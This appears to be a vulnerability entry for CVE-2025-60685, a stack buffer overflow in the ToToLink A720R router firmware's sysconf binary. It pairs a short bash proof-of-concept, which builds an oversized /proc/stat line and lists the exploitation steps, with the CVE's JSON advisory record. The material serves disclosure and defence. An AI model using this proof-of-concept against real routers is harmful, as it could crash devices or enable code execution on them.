CVE-2025-60685

#!/bin/bash # CVE-2025-60685 PoC - ToToLink A720R sysconf Stack Buffer Overflow # This PoC demonstrates how to trigger the buffer overflow by modifying /proc/stat # Create malicious /proc/stat content with oversized CPU line # The sscanf with %s will write beyond buffer boundaries MALICIOUS_STAT=$(printf 'cpu %9999999s 0 0 0 0 0 0 0 0 0\n' | tr ' ' 'A') echo "[*] Preparing malicious /proc/stat content..." echo "$MALICIOUS_STAT" > /tmp/malicious_stat # Backup original /proc/stat if possible if [ -r /proc/stat ]; then echo "[*] Backing up original /proc/stat" cp /proc/stat /tmp/original_stat 2>/dev/null || true fi # For demonstration, this shows the concept # In real attack, attacker needs filesystem write access to /proc/stat echo "[*] To exploit: Replace /proc/stat with malicious content" echo "[*] Then trigger sysconf binary to read /proc/stat" echo "[*] This will cause stack buffer overflow in sub_401EE0 function" # Cleanup echo "[*] Cleaning up..." rm -f /tmp/malicious_stat

{"cve": {"id": "CVE-2025-60685", "sourceIdentifier": "[email protected]", "published": "2025-11-13T16:15:52.470", "lastModified": "2025-11-17T21:50:14.877", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "A stack buffer overflow exists in the ToToLink A720R Router firmware V4.1.5cu.614_B20230630 within the sysconf binary (sub_401EE0 function). The binary reads the /proc/stat file using fgets() into a local buffer and subsequently parses the line using sscanf() into a single-byte variable with the %s format specifier. Maliciously crafted /proc/stat content can overwrite adjacent stack memory, potentially allowing an attacker with filesystem write privileges to execute arbitrary code on the device."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:L", "baseScore": 5.1, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.5, "impactScore": 2.5}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-121"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:totolink:a720r_firmware:4.1.5cu.614_b20230630:*:*:*:*:*:*:*", "matchCriteriaId": "BCA249C9-68D4-48FE-B0CA-77ECF53DDE3B"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:totolink:a720r:-:*:*:*:*:*:*:*", "matchCriteriaId": "A1DE5168-B787-462C-B024-2B8F73759034"}]}]}], "references": [{"url": "http://totolink.com", "source": "[email protected]", "tags": ["Broken Link"]}, {"url": "https://github.com/yifan20020708/SGTaint-0-day/blob/main/ToToLink/ToToLink-A720R/CVE-2025-60685.md", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}, {"url": "https://www.totolink.net/", "source": "[email protected]", "tags": ["Product"]}]}}